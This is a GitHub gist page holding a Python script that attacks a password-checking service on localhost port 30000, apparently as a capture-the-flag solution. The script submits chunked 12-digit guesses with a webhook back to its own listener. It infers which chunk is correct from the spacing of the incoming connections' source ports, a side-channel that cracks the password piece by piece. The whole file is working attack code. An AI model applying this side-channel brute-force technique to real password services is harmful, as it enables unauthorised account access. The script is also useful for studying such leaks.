Created
August 29, 2012 06:16
-
-
Save Shadow6363/3507384 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import requests | |
import socket | |
oldPort = newPort = firstChunk = secondChunk = thirdChunk = fourthChunk = 0 | |
port = 50000 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
s.bind(('', port)) | |
s.listen(0) | |
def checkPassword(password): | |
return requests.post( | |
'http://127.0.0.1:30000', | |
data=json.dumps( | |
{ | |
"password": password, | |
"webhooks": [ | |
"127.0.0.1:%d" % (port) | |
] | |
} | |
) | |
) | |
def getPort(): | |
global newPort | |
conn, (addr, newPort) = s.accept() | |
conn.shutdown(socket.SHUT_RDWR) | |
conn.close() | |
def calculateFirstChunk(start = 0): | |
global oldPort | |
global newPort | |
chunk = start | |
while chunk < 1000: | |
password = '%03d000000000' % chunk | |
checkPassword(password) | |
getPort() | |
if newPort - oldPort == 4: | |
return chunk | |
else: | |
if newPort - oldPort == 3: chunk = chunk + 1 | |
oldPort = newPort | |
def calculateSecondChunk(start = 0): | |
global oldPort | |
global newPort | |
chunk = start | |
while chunk < 1000: | |
password = '%03d%03d000000' % (firstChunk, chunk) | |
checkPassword(password) | |
getPort() | |
if newPort - oldPort == 5: | |
return chunk | |
elif newPort - oldPort == 3: | |
return None | |
else: | |
if newPort - oldPort == 4: chunk = chunk + 1 | |
oldPort = newPort | |
def calculateThirdChunk(start = 0): | |
global oldPort | |
global newPort | |
chunk = start | |
while chunk < 1000: | |
password = '%03d%03d%03d000' % (firstChunk, secondChunk, chunk) | |
checkPassword(password) | |
getPort() | |
if newPort - oldPort == 6: | |
return chunk | |
elif newPort - oldPort == 4: | |
return None | |
else: | |
if newPort - oldPort == 5: chunk = chunk + 1 | |
oldPort = newPort | |
def calculateFourthChunk(start = 0): | |
global oldPort | |
global newPort | |
chunk = start | |
while chunk < 1000: | |
password = '%03d%03d%03d%03d' % (firstChunk, secondChunk, thirdChunk, chunk) | |
checkPassword(password) | |
conn, (addr, newPort) = s.accept() | |
if 'true' in conn.recv(256): | |
conn.shutdown(socket.SHUT_RDWR) | |
conn.close() | |
return chunk | |
elif newPort - oldPort == 5: | |
conn.shutdown(socket.SHUT_RDWR) | |
conn.close() | |
return None | |
else: | |
conn.shutdown(socket.SHUT_RDWR) | |
conn.close() | |
if newPort - oldPort == 6: chunk = chunk + 1 | |
oldPort = newPort | |
firstChunk = calculateFirstChunk() | |
secondChunk = calculateSecondChunk() | |
while secondChunk is None: | |
firstChunk = calculateFirstChunk(firstChunk) | |
secondChunk = calculateSecondChunk() | |
print firstChunk | |
thirdChunk = calculateThirdChunk() | |
while thirdChunk is None: | |
secondChunk = calculateSecondChunk(secondChunk) | |
thirdChunk = calculateThirdChunk() | |
print secondChunk | |
fourthChunk = calculateFourthChunk() | |
while fourthChunk is None: | |
thirdChunk = calculateThirdChunk(thirdChunk) | |
fourthChunk = calculateFourthChunk() | |
print thirdChunk | |
print fourthChunk |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment